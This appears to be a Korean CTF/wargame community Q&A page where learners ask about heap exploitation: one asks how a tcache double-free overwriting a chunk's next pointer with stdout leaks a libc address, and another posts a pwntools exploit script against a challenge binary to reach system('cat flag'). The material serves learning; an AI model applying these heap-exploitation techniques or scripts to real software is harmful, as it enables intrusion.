보상이 걸린 질문
질문에 답변을 달고 보상을 받아가세요!
진행중
20 코인 헷갈리는 부분 질문
해당 문제 메커니즘은 대부분 이해했는데 헷갈리는 부분이 있습니다. 더블프리를 해서 청크의 next부분을 stdout (library내의 IOstdout을 가르키는 포인터)로 덮고 alloc을 두번 해주면 library 주소가 leak된다고 하였는데, stdout이 library영역을 가르킨다면, 청크가 할당 될 때 청크의 위치가 library 영역이 되는거고 그 청크를 프린트하면 나오는건 library 영역에 써져있는 코드여야 하는거 아닌가요? tcache_entry구조에서 next에 들어가 있는 주소는 다음 할당할 청크의 주소일텐데, 그 청크의 주소가 libary 영역이라고 해도 우리가 프린트할 수 있는 data섹션에 담긴 값은 주소가 아닌 그저 stdoutIO를 이루는 코드인 것 아닌가요?
**#!/usr/bin/env python3 import sys from pwn import * BINARY_PATH = "./chal" def conn(): if len(sys.argv) == 3: p = remote(sys.argv[1], int(sys.argv[2])) else: p = process(BINARY_PATH) return p p = conn() elf = ELF(BINARY_PATH) p.sendlineafter(b'>> ',b'2') p.sendlineafter(b'>> ',b'1') p.sendlineafter(b'>> ',b'2') buffer = int(p.recvline().split(b': ')[1],16) type = buffer + 0x468 print(hex(buffer)) print(hex(type)) p.sendlineafter(b'>> ',b'1') p.sendlineafter(b'>> ',b'139810') p.sendlineafter(b'buffer: ', f'{int(type)}'.encode()) p.sendlineafter(b'size: ', b'5') p.sendlineafter(b'>> ',b'2') p.sendlineafter(b'>> ',b'0') p.sendlineafter(b'>> ',b'1') p.sendlineafter(b'[y/N]\n',b'2'*5) p.interactive()** 안녕하세요 해당 문제를 풀기위해서는 setvbuf를 이용해서 풀어야한다는 점은 알고 있습니다. 다만 setvbuf에 대해서 자세히는 모르지만 디버깅을 통해 최종적으로 long type;에 (0x3232323232)22222를 넣는 방법을 찾았습니다. if(this->type && !strcmp ((char*)(this->type), YELLOW_WIN)) system("cat flag"); 해당 조건문을 통과해 최종적으로 플래그를 찾는것을 목표로하고 있습니다. 그러나 Bunker->long type에 22222를 넣어도 조건문이 통과하지 않습니다. 나름 찾은 이유는 비교문 strcmp함수에 RSI RDI에서 생각대로 레지스터에 담기질 않는것 같습니다. 나름대로 이유는 열심히 찾았지만 그 원인이 먼지 잘 모르겠습니다... 해당 문제를 풀 수 있게 지혜를 주셨으면 좋겠습니다. 감사합니다. (__)
커뮤니티 최신글